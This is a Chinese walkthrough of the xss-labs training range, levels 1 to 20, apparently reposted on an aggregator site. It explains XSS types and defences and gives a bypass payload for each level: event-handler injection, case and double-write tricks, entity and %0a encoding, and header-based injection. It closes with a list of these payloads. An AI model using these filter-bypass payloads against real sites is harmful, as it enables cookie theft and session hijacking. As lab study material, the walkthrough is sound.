跨站腳本攻擊xss-labs(1-20)靶機練手

目錄

一、跨站腳本攻擊(XSS)

1.1 漏洞簡介

1.2:類型

1.3 XSS危害

1.4XSS防御規則

二、環境搭建

三、xsst通關記錄

Level 1:文本解析為 HTML

Level 2:htmlspecialchars;input 標簽 value 注入

定義和用法

字符過濾繞過

Level 3:

level 4:雙引號閉合+添加事件

level 5:新建標簽

level 6:大小寫繞過

level 7 雙寫繞過

level 8 編碼繞過

level 9 檢測關鍵字

level 10 隱藏信息

level 11 Referer信息

level 12 user-agent信息

level 13 cookie信息

level 14

level 15(ng-include包含)

level 16 空格實體轉義?

level-17(參數拼接)

level-18(參數拼接)

level-19(Flash XSS)

level-20(Flash XSS)

四.總結:

幾種注入方式

on事件屬于點擊觸發事件

?收集信息的方法

xss常見注入點

參考


一、跨站腳本攻擊(XSS)

? ? ? ? 1.1 漏洞簡介


? ? ? ? XSS又叫CSS(Cross Site Script)跨站腳本攻擊,是指惡意攻擊者往web頁面中插入惡意代碼,當用戶瀏覽該網頁時,嵌入其中的惡意代碼會被執行,從而達到惡意的特殊目的。XSS屬于被動式的攻擊。
? ? ? ? XSS最大的特點就是能注入惡意的HTML/JavaScript代碼到用戶瀏覽的網頁上,從而達到劫持用戶會話的目的。由于HTML代碼和客戶端JavaScript腳本能在受害者主機上的瀏覽器任意執行,這樣等同于完全控制了Web客戶端的邏輯,在這個基礎上,黑客或攻擊者可以輕易地發動各種各樣的攻擊。

? ? ? ? xss漏洞通常是通過php的輸出函數將javascript代碼輸出到html頁面中,通過用戶本地瀏覽器執行的,所以xss漏洞關鍵就是尋找參數未過濾的輸出函數。

常見的輸出函數有: echo printf print print_r sprintf die var-dump var_export。

? 1.2:類型

從攻擊代碼的工作方式可以分為三個類型:

(1)持久型跨站:最直接的危害類型,跨站代碼存儲在服務器(數據庫)。

(2)非持久型跨站:反射型跨站腳本漏洞,最普遍的類型。用戶訪問服務器-跨站鏈接-返回跨站代碼。

(3)DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯導致的安全問題。

基于DOM的XSS漏洞是指受害者端的網頁腳本在修改本地頁面DOM環境時未進行合理的處置,而使得攻擊腳本被執行。在整個攻擊過程中,服務器響應的頁面并沒有發生變化,引起客戶端腳本執行結果差異的原因是對本地DOM的惡意篡改利用。

1.3 XSS危害

? ?(1)盜取管理員cookie

? ? ? ? 竊取用戶的cookie非法登錄,使得入侵者具有惡意操縱后臺數據的能力,包括讀取、更改、添加、刪除一些信息。

(2)網站掛馬。

? ? ? ? 先將惡意攻擊代碼嵌入到Web應用程序之中。當用戶瀏覽該掛馬頁面時,用戶的計算機會被植入木馬。

(3)發送廣告或者垃圾信息

? ? ? ? 攻擊者可以利用XSS漏洞植入廣告,或者發送垃圾信息,嚴重影響到用戶的正常使用。

1.4XSS防御規則

  1. – 不要在允許位置插入不可信數據
  2. – 在向HTML元素內容插入不可信數據前對HTML解碼
  3. – 在向HTML常見屬性插入不可信數據前進行屬性解碼
  4. – 在向HTML JavaScript Data Values插入不可信數據前,進行JavaScript解碼
  5. – 在向HTML 樣式屬性值插入不可信數據前,進行CSS解碼
  6. - 在向HTML URL屬性插入不可信數據前,進行URL解碼

二、環境搭建

xss-labsxss-labsxss-labs?是一套基于 PHP 的 XSS 靶場,以闖關的形式讓我們體驗各種 XSS 漏洞利用方式。雖然已經是很多年前的了,但其中基本的 XSS 漏洞依然很有意義。

一共有 20 關,每一關的目標都是實現彈窗(alert(1)),如果成功就會自動進入下一關。

克隆這個代碼倉庫的代碼,其中是 xss-labs 的 PHP 源文件。只要放在 PHP 環境下即可.本機使用phpstudy_pro,將將文件放在phpstudy_pro下的www文件里邊就歐克了。

部署完成后,訪問 index.php,就可以看到入口了:

??

?

三、xsst通關記錄

Level 1:文本解析為 HTML

URL 為?level1.php?name=test?時,傳入的參數是 test,顯示的是「歡迎用戶 test」。顯然,這個頁面會將我們傳入的名字顯示出來。

?

我們打開開發者工具(F12)

這里name=test,放到了<h2>這個標簽里,前端是可以執行JS代碼的,我們執行如下代碼

http://127.0.0.1/xsslabs/level1.php?name=<script>alert(1)</script>

Level 2:htmlspecialchars;input 標簽 value 注入

定義和用法

htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體編碼。

預定義的字符是:

  • & (和號)成為 &
  • " (雙引號)成為 "
  • ' (單引號)成為 '
  • < (小于)成為 <
  • > (大于)成為 >

這關多了一個文本框。如果依然嘗試傳入?<script>alert(1)</script>,會發現在 h2 元素中符號被轉義了(查看網頁源代碼能看到),<h2>&it;script&gtalert(1)&lt;/script;&gt</h2>,所以不會被解析成 HTML。

頁面上能夠正常顯示是htmlspecialchars()給轉換為HTML實體編碼后HTML又給解析為正常顯示。

然而,可以看到后面的文本框?input?元素,其 value 值并沒有被轉義。

<input name=keyword value="<script>alert(1)</script>">

既然如此,我們可以閉合 value 的內容的后引號,然后閉合這個 input 標簽,接下來再加入我們想要注入的?<script>alert(1);</script>。只需要在其之前加上?">?即可。

Level 3:字符過濾繞過

這一關的代碼好像和第二關有點像,我們輸入上一個看一下行不行

這里沒有逃逸出來,這一招好像不管用了?

這是因為用的單引號閉合🤣既然單引號不會被轉義,我們可以閉合 value 這個字符串。

但是,<>?都會被轉義,似乎不能閉合這個標簽。有什么辦法能夠不用?<script>?標簽來注入 JavaScript 代碼呢?答案是使用觸發器,比如?onfocus?或者?onclick

可以看到這樣就逃逸出來了,然后我們隨便找個js代碼就可以通關了。

level 4:雙引號閉合+添加事件

第一處<>被實體轉碼
第二處地方<>被替換成空?

同樣使用上一關方法:通過<input>標簽的一些特殊事件來執行js代碼
payload?" onclick=alert(12) //
左邊的">去閉合原先的"?

level 5:新建標簽

雖然input被閉合了,但是script和on被過濾掉?

現在on和script都被過濾掉了,那就用一個不含on和script的標簽來執行

level 6:大小寫繞過

這里和上一關一樣,script被過濾,

雖然input被閉合了,但是被關鍵字過濾就很難受;不行了那就試一下大小寫

很明顯成功了。。。換一個試一下也是可以的

level 7 雙寫繞過

1.<script>alert(‘xss’)</script>
2."οnfοcus=javascript:alert('xss')"
3.?keyword="> <a href=javascript:alert('xss') > xss</a> //
4. " οnclick=alert(12) //

嘗試之后都是被過濾,就很難受,大小寫在這也不靈了,那還有什么辦法?

他過濾一個script,那我寫一個這個呢?oonnclick,試一下

level 8 編碼繞過

可以看到這里有被過濾,那就想辦法繞過就行了么

之前使用過的方法都試了一遍還是不行,只能另找思路:

這里將javascript:alert(1)轉換為實體編碼試一下

這是轉換之后的編碼&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

可以看到當添加了友情鏈接之后a標簽里的連接直接轉換成我們想要的東西,這就歐克了。

level 9 檢測關鍵字

可以看到不管你寫啥都是鏈接不合法,這是咋回事?那我寫個合法的:比如https://baidu.com,這合適的吧;

還不合法,那我試一下http?

這一下就合適了,看來是要加http呀,那我加上再看

又被過濾,那我轉一下碼(&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;http://)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://
備注:后邊的//注釋一定要加,不然它就驢唇不對馬嘴,自然瀏覽器也懵逼,所以要把后邊的網址注釋掉。

level 10 隱藏信息

我們看到第十關沒有輸入框了所以我們在url欄里輸入?

沒有用;而且下邊我們看不到有傳進來值,我猜測應該是被隱藏起來了,但是有3個input,試著給這三個分別傳一個值看一下

?t_link=qqqq&t_history=wwwww&t_sort=eeee

這里傳進來了,那好像就有思路了

我的<>又被過濾了,那就換一個試一下

這里好像是好了,但是我的onclick沒有顯示,那沒地方點啊,所以給后邊再加點東西

歐克,下一關

level 11 Referer信息

和上一關有點像,先試一下之前的辦法

?t_link=qqq&t_history=www&t_sort=eee&t_ref=rrr?

發現t_sort傳進來值了,那不就簡單了

這雙引號沒有閉合,沒能逃逸出來,這個辦法不行。那就在找找,回過頭來仔細一看,剛開始咱們的t_ref里邊是有值的啊,而且是咱們上一關的url,

那這個咱們能利用嗎?猜測ref又可能是http頭中的referer屬性

抓包嘗試修改一下

傳個值試一下?

這里將值真的傳進來了,那就試一下這個

referer:111" onclick ='javascript:alert(1)'// type=button

歐克了就

level 12 user-agent信息

到了t_ua這樣一個標簽,并且其中的value屬性的值怎么看起來那么

像抓取數據包中User-Agent頭的值?!

抓包嘗試修改

發現雙引號沒有被過濾,我們嘗試閉合引號構造事件彈窗

" onclick ='javascript:alert(1)'// type=button

level 13 cookie信息

還是四個隱藏框
t_cook可能是cookie
抓包仍然是相同的方式

發現雙引號沒有被過濾,我們嘗試閉合引號構造事件彈窗

level 14

自動跳轉到那個網址,但是失效了

level-14參考文章

level 15(ng-include包含)

后臺源碼:

window.alert = function() ?
{ ? ??
confirm("完成的不錯!");
?window.location.href="level16.php?keyword=test";?
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php?
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

觀察源碼發現短短的幾行,實體轉義了src的值

使用了ng-include這個表達式的意思是當HTML代碼過于復雜時,可以將部分代碼打包成獨立文件,在使用ng-include來引用這個獨立的HTML文件。

ng-include指令一般用于包含外部HTML文件,ng-include屬性的值可以是一個表達式,返回一個文件名,但是默認情況下,包含的文件需要包含在同一域名下,也就是要調用同一域名下的其他網頁。因為默認情況下,包含的文件需要包含在同一個域名下。很有可能這個指令就是突破口,我們看看源代碼,果然有ng-include,并且對其輸入做了過濾,所以我們可以包含一個有漏洞的頁面

定義和用法

ng-include 指令用于包含外部的 HTML 文件。

包含的內容將作為指定元素的子節點。

ng-include 屬性的值可以是一個表達式,返回一個文件名。

默認情況下,包含的文件需要包含在同一個域名下。

引用文件名要加單引號 即 ng-include=" 'index.html' "

所以可構造以下payload

去包含其他關卡的漏洞:
http://127.0.0.1/xsslabs/level15/.php?src='level1.php?name=<img src=1 οnerrοr=javascript:alert(1)>'

level 16 空格實體轉義?

源代碼:

<title>歡迎來到level16</title>
</head>
<body>
<h1 align=center>歡迎來到level16</h1>
<?php?
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("?? ?","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php?
echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>";
?>

通過源碼發現,過濾了script,/,空格等(替換空格,script,/,再次替換空格)在html中是可以將%0a和%0d作為空格使用的

因為尖括號沒被過濾掉,所以我們就用<a>標簽,因此我們構造語句

可對script進行個拆分

payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss

level-17(參數拼接)

查看源代碼:

<title>歡迎來到level17</title>
</head>
<body>
<h1 align=center>歡迎來到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
</body>
</html>

通過代碼發現,本關卡有兩個參數:arg01、arg02,當我們發送的時候,發現他們是會互相拼接起來的,那么我們就容易想到這里會不會就是突破口,發現這兩個參數是在embed上,embed標簽定義嵌入的內容,并且做了尖括號過濾,那么我們可以加入一個屬性進去,生成惡意代碼。(發現其兩個變量使用=符號拼接的形式被加入到<embed>標簽中,該標簽用于一些插件如flash等的插入,那這就是一個突破口)

HTML embed src 屬性 | 菜鳥教程

輸入點在url中,過濾了尖括號和雙引號,用on事件觸發。

常規加尖括號的語句會被轉為html實體字符,那就只有用事件觸發來寫,而且事件觸發剛好是用等號來連接。

使用on事件,但是沒有反應,后來發現是瀏覽器中不支持flash

payload:
/level17.php?arg01=a&arg02=b οnmοuseοver=javascript:alert(1)

/level17.php?arg01=a&arg02=b 666 οnmοuseοver=javascript:alert(1)

onmouseover(鼠標移動到上方觸發)觸發器來進行惡意語句利用

火狐不支持flash(火狐瀏覽器中,發現該組件根本不顯示,完全不給我們事件觸發的機會,無法利用了),嘗試沒有反應,切換瀏覽器,在edge上試一下

level-18(參數拼接)

這個和上一關有點像,我們看一下源代碼

</script>
<title>歡迎來到level18</title>
</head>
<body>
<h1 align=center>歡迎來到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

通過代碼發現,和上一關基本差不多,我們繼續使用上一關的代碼進行測試,看是否彈窗

payload:
/level18.php?arg01=a&arg02=b οnmοuseοver=alert(1)

/level18.php?arg01=a&arg02=b ?8888 οnmοuseοver=alert(1)

level-19(Flash XSS)

后臺源碼:

<title>歡迎來到level19</title>
</head>
<body>
<h1 align=center>歡迎來到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

這關是flash xss,涉及到反編譯,暫時搞不懂

payload:
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level-20(Flash XSS)

后臺源碼:

<title>歡迎來到level20</title>
</head>
<body>
<h1 align=center>歡迎來到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

觀察源碼發現,和上面19關差不多,就是插件不同。

payload:
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

四.總結:

幾種注入方式
  1. ?keyword=<script>alert('xss')</script>
  2. ?keyword='οnfοcus=javascript:alert('xss') >
  3. 當某些字符串被刪掉時,用雙寫繞過
  4. ?keyword="oonnfocus=javascrscriptipt:alert('xss') "
  5. ?keyword="> <a href=javascript:alert('xss') > xss</a>
  6. src錯的話,觸發onerror,然后處理alert
  7. ?name=<img src=111 οnerrοr=alert('xss')
  8. http前面必須要//,將后面的注釋掉
  9. ?keyword=javascript:alert('xss')//http://www.baidu.com
  10. ?t_sort=" type="text" οnclick="alert('xss')
  11. 不需要閉合的標簽`img`
  12. ?keyword=<img%0Dsrc=1%0Dοnerrοr=alert('xss')>
  13. b后面有空格,后面就相當于一個新的屬性
  14. ?arg01=a&arg02=b οnmοuseοver=alert(‘xss’)
on事件屬于點擊觸發事件

繞過的方法

1.img標簽src出錯時用onerror注入

2.將a標簽閉合,用script標簽進行注入

3.用onmoseover等焦事件可以實現繞過執行腳本,焦事件可以用到input標簽,a標簽中的href屬性,img標簽等標簽處。

4.可以嘗試將代碼進行unicode編碼等瀏覽器可以解析的編碼方式進行注入

5.可用轉義序列實現繞過,轉義序列是SGML類語言如xml、html中的中的一個設定,標志就是在一個數字前有 ”&#“ 這個字符后面可以跟十進制數或十六精進制,在構造語句時可以使用這種方法,從而實現繞過。

6.不只是轉義序列,當你碰到刪除空格的過濾時可以常識使用url編碼,用%0a換行

?收集信息的方法

<1>查看網頁源碼,留意源碼中常見存在注入的語句,并留意可以向服務器傳遞的參數
<2>向服務器傳遞參數,并判斷,哪些參數被用到了網頁上,并且初步記錄
<3>將用了傳遞參數的語句總結出來之后,將常見存在注入的語句挑出,并且對它們的閉合方式進行記錄
<4>對初步記錄進行分析,并總結結論,結論的標準是
我要在哪些語句上用哪些xss繞過方法進行注入

xss常見注入點

1.<input>
2.<script>
3.<embed>等
這些標簽都有一個特點就是都有src屬性,如果網頁可以發送form表單且其中的參數被用在了這些標簽的屬性中,那么我們注意閉合之后,加入onerror、onmouseover、onclick、onfocus等焦點之后觸發腳本內容。
4.<h1>、<h2>、<h3>、<h4>、<h5>、<h6>
5.<div>等
這些標簽的特點是只有對網頁顯示的編輯功能,或者說有分割網頁源碼文本的功能,如果網頁傳回去的參數有被用于這些標簽的參數,我們可以將完整的dom節點傳進去,因為一般這些標簽都有包含的功能。

參考

以xss-labs舉例反射型xss注入的方式及基本思路_span標簽xss-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/m0_53061933/article/details/114755460nj.rs---Tiny XSS Payloads

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/716008.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/716008.shtml
英文地址,請注明出處:http://en.pswp.cn/news/716008.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從零自制docker-1-【環境配置 docker go介紹與安裝】

文章目錄 docker簡介舉例docker安裝go語言go安裝go 配置 docker簡介 Docker可以看作是一種極其輕巧的“虛擬機”&#xff0c;它允許你將一個或多個程序及其運行環境打包在一起&#xff0c;形成一個標準化的單元&#xff0c;這個單元可以在任何支持Docker的系統上運行&#xff…

實用!IntelliJ IDEA離線開發使用要點(一)

如果IntelliJ IDEA在本地網絡之外沒有HTTP訪問&#xff0c;它將無法檢查更新和應用補丁。在這種情況下&#xff0c;您必須下載新版本的IDE并按照離線安裝中的描述手動安裝它們。 IDEA v2023.3正式版下載 注意&#xff1a;沒有互聯網接入&#xff0c;您不能安裝IntelliJ IDEA使…

SaaS 電商設計 (九) 動態化且易擴展的實現購物車底部彈層(附:一套普適的線上功能切量的發布方案)

目錄 一.背景1.1 業務背景1.2 技術負債 二.技術目標三.方案設計3.1 解決移動端頻繁發版3.1.1 場景分析3.1.2 技術方案 3.2 減少后端壞味道代碼&無法靈活擴展問題3.2.1 通過抽象接口完成各自單獨樓層渲染邏輯3.2.2 通過配置能力做到部分字段可配 四.升級上線(普適于高并發大…

2314576

? 通用計算機啟動過程 1??一個基礎固件&#xff1a;BIOS 一個基礎固件&#xff1a;BIOS→基本IO系統&#xff0c;它提供以下功能&#xff1a; 上電后自檢功能 Power-On Self-Test&#xff0c;即POST&#xff1a;上電后&#xff0c;識別硬件配置并對其進行自檢&#xff0c…

學習JAVA的第十二天(基礎)

算法 算法&#xff08;Algorithm&#xff09;是指解題方案的準確而完整的描述&#xff0c;是一系列解決問題的清晰指令&#xff0c;算法代表著用系統的方法描述 解決問題的策略 機制。 查找算法 基本查找&#xff08;順序查找&#xff09; 關鍵&#xff1a; 從0索引開始依次向…

學習:吳恩達:什么是神經元?神經網絡如何工作?

學習-吳恩達《AI for everyone》2019 深度學習非技術解釋 第2部分 可選.zh_嗶哩嗶哩_bilibili 深度學習Deep learning 人工神經網絡Artificial Neural network 什么是神經網絡&#xff1f; 只有一個神經元 4個神經元的神經網絡 神經網路的絕妙之處 神經網路的絕妙之處就在…

ctf_show筆記篇(web入門---信息收集)

目錄 信息收集 1-2&#xff1a;查看源代碼 3&#xff1a;bp抓包 4&#xff1a;robots.txt&#xff08;這個文件里會寫有網站管理者不想讓爬蟲的頁面或其他&#xff09; 5&#xff1a;網站源代碼泄露index.phps 6&#xff1a;同樣也是源碼泄露&#xff0c;&#xff08;拿到…

Java快讀

java的快讀 (1)BufferedReader BufferedReader br new BufferedReader(new InputStreamReader(System.in));//定義對象String[] strings br.readLine().split(" ");//讀取一行字符串&#xff0c;以空格為分隔轉化為字符串數組int n Integer.parseInt(strings[0])…

k8s分布式圖床(k8s,metricsapi,vue3+ts)

image-manage 圖像管理應用 圖像管理應用提供了一個方便管理圖片的平臺&#xff0c;支持單機和Kubernetes集群部署。請確保您至少擁有一個MySQL數據庫和一個Redis數據庫&#xff0c;以及一個至少為Kubernetes 1.29版本的集群&#xff08;如果選擇集群部署&#xff09;。 文檔…

PCL1.14.0安裝、使用教程

寫在前面 本文內容 本文是PCL1.14.0在Windows下的安裝、使用教程&#xff1b; PCL、Open3D其他版本的編譯和使用相關教程見 各個版本的Open3D、PCL的編譯、使用教程平臺/環境 windows11(windows10): visual studio 2022&#xff1b;cmake 3.22; VsCode轉載請注明出處&#xff…

http和https的區別是什么?

–前言 傳輸信息安全性不同、連接方式不同、端口不同、證書申請方式不同 一、傳輸信息安全性不同 1、http協議&#xff1a;是超文本傳輸協議&#xff0c;信息是明文傳輸。如果攻擊者截取了Web瀏覽器和網站服務器之間的傳輸報文&#xff0c;就可以直接讀懂其中的信息。 2、h…

關于django makemigrations/migrate在生成數據表上遇到的一些問題

當你刪除了生成的 migration 文件夾&#xff0c;將數據庫從 SQLite 切換到 MySQL&#xff0c;并且在執行 makemigrations 命令時顯示沒有變化&#xff0c;同時 MySQL 中沒有生成表&#xff0c;可能是由于以下原因造成的&#xff1a; Django遷移系統的工作方式&#xff1a;Djang…

排序(3)——直接選擇排序

目錄 直接選擇排序 基本思想 整體思路&#xff08;升序&#xff09; 單趟 多趟 代碼實現 特性總結 直接選擇排序 基本思想 每一次從待排序的數據元素中選出最小&#xff08;或最大&#xff09;的一個元素&#xff0c;存放在序列的起始位置&#xff0c;直到全部待排序的…

軟考 系統分析師系列知識點之詳細調查(3)

接前一篇文章&#xff1a;軟考 系統分析師系列知識點之詳細調查&#xff08;2&#xff09; 所屬章節&#xff1a; 第10章. 系統分析 第2節. 詳細調查 在系統規劃階段&#xff0c;通過初步調查&#xff0c;系統分析師已經對企業的組織結構、系統功能等有了大致的了解。但是&…

力扣203移除鏈表元素

題目&#xff1a; 203. 移除鏈表元素 給你一個鏈表的頭節點 head 和一個整數 val &#xff0c;請你刪除鏈表中所有滿足 Node.val val 的節點&#xff0c;并返回 新的頭節點 。 1&#xff0c;設置一個頭節點&#xff0c;統一操作。 2&#xff0c;這里是用p查找&#xff0c;但是…

BUUCTF---數據包中的線索1

1.題目描述 2.下載附件&#xff0c;是一個.pcap文件 3.放在wireshark中&#xff0c;仔細觀察數據流&#xff0c;會發現有個叫fenxi.php的數據流 4.這條數據流是http,且使用GET方式&#xff0c;接下來我們使用http.request,methodGET 命令來過濾數據流 5.在分析欄中我們追蹤htt…

查看端口占用命令

fuser 8080/tcp netstat -tuln | grep 8080 lsof -i:8080 ss -tuln | grep 8080

在Linux上使用通用二進制包安裝MySQL

下載安裝包 MySQL Community Downloads 安裝依賴 mysql 數據目錄初始化及服務啟動階段依賴libaio&#xff0c;檢測是否已安裝libaio dnf install libaio解壓安裝 ## 創建用戶組 groupadd mysql ## 創建用戶 useradd -r -g mysql -s /bin/false mysql ## 解壓安裝包 tar xv…

數據挖掘:航空公司的客戶價值分析

需求分析 理解并掌握聚類分析方法&#xff0c;掌握數據的標準化&#xff0c;掌握尋找最佳聚類數&#xff0c;掌握聚類的繪圖&#xff0c;掌握聚類分析的應用場景。 系統實現 實驗流程分析 借助航空公司數據&#xff0c;對客戶進行分類對不同類別的客戶進行特征分析&#xf…

IEEE754標準的c語言闡述,以及幾個浮點數常量

很多年前&#xff0c;調研過浮點數與整數之間的雙射問題&#xff1a; win7 intel x64 cpu vs2013 c語言浮點數精度失真問題 最近重新學習了一下IEEE754標準&#xff0c;也許實際還有很多深刻問題沒有被揭示。 計算機程序設計藝術&#xff0c;據說這本書中也有討論。 參考&…